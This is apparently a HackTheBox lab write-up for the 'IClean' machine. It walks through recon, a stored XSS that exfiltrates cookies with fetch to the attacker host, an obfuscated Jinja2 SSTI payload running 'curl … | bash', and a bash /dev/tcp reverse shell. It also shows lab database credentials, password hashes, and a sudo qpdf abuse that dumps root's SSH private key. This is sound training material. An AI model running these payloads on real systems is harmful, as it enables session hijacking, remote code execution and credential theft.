Summary

This write-up documents a full exploitation path for the HTB machine IClean. Primary findings: information disclosure and web vulnerabilities led to user access via an SSTI/XSS chain; credentials from application code allowed database access; qpdf misconfiguration enabled root privilege escalation.

Goal: demonstrate methodology and reasoning (recon → enumeration → exploitation → privilege escalation → remediation).

Target

  • Host: 10.10.11.12 (lab address)
  • Domain mapped locally: capiclean.htb

Reconnaissance

Start with a standard service/version scan:

nmap -sC -sV -v 10.10.11.12
Nmap Result
Nmap scan trên 10.10.11.12

Add host mapping locally:

sudo sh -c 'echo "10.10.11.12 capiclean.htb" >> /etc/hosts'
UI Web
UI Web

Web Enumeration Run directory discovery to find endpoints:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://capiclean.htb/FUZZ -c

The /quote endpoint is interesting and returns content that appears user-editable — good candidate for XSS/SSTI testing.

ffuf result
ffuf result

Visit /quote

/quote
/quote

User flag

Test send message for XSS

check xss
check xss

<img src="http://10.10.14.42:80";/>
send xss
send xss
host xss
host xss

Initial Access — Stored XSS & Session Hijack

Testing inputs revealed that user-supplied content could be reflected/stored and executed in victim contexts.

<img src=x onerror=fetch("http://10.10.14.42:80/"+document.cookie);>

This payload exfiltrated cookies to the attacker host. With a stolen session cookie, the web dashboard was accessible, revealing application internals and confirming Flask/Jinja usage.

stealck
stealck

gotck
gotck

Edit cookie session and go to dashboard

dashboard
dashboard
wappalyzer
wappalyzer

Application Logic Review — SSTI Discovery

Within the dashboard:

  • Generate Invoice → issues an Invoice ID.
  • Generate QR → accepts qr_link and renders it in a template.

Injecting {{7*7}} into qr_link evaluated the expression, confirming Server-Side Template Injection (SSTI) in Jinja2.

Test Generate Invoice

invoice
invoice

It return an Invoice ID

invoiceid
invoiceid

reqinvoice
reqinvoice

Next function is Generate QR with input is Invoice ID

genqr
genqr

reqqr
reqqr

Insert QR link

reqqr2
reqqr2

Inject {{7*7}} to param qr_link

ssti
ssti

This param vulnerable SSTI

We can inject a payload to get reverse shell

Simple reverse shell with bash

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.42/4444 0>&1"
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.10.14.42:80/revshell | bash")|attr("read")()}}
gotssti
gotssti
gotrevshell
gotrevshell

Get Cred from app.py

creds
creds

But dont’t have user consuela

etcpasswd
etcpasswd

Try do login mysql with credential

  • ‘host’: ‘127.0.0.1’,
  • ‘user’: ‘iclean’,
  • ‘password’: ‘pxCsmnGLckUb’,
  • ‘database’: ‘capiclean’
mysql -u iclean -p

mysql --database capiclean -e 'show databases;' -u iclean -p
sql
sql
mysql --database capiclean -e 'use capiclean; show tables;' -u iclean -p
sql2
sql2
mysql --database capiclean -e 'use capiclean; select * from users;' -u iclean -p
sql3
sql3
id  username    password                                                            role_id
1   admin       2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51    21232f297a57a5a743894a0e4a801fc3
2   consuela    0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa    ee11cbb19052e40b07aac0ca060c23ee

Crack hash

cracked
cracked

Password of user consuela is simple and clean

su to consuela

Upgrade the shell

ugshell
ugshell

Root flag

Privilege Escalation — abusing qpdf

On the host, sudo -l showed iclean can run /usr/bin/qpdf as root without a password. qpdf supports adding attachments to PDFs — this functionality can be abused to write files as root.

sudol
sudol

https://qpdf.readthedocs.io/en/stable/cli.html

We can copy private key of root

sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty ./id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Modife output file to get correct key, then ssh to root and get root flag

root
root

Final notes

This exercise demonstrates a typical web → root attack chain:

  • client-side vulnerability (XSS) → session hijack,
  • SSTI → RCE,
  • credential harvest → DB access,
  • privileged binary misuse (qpdf) → root.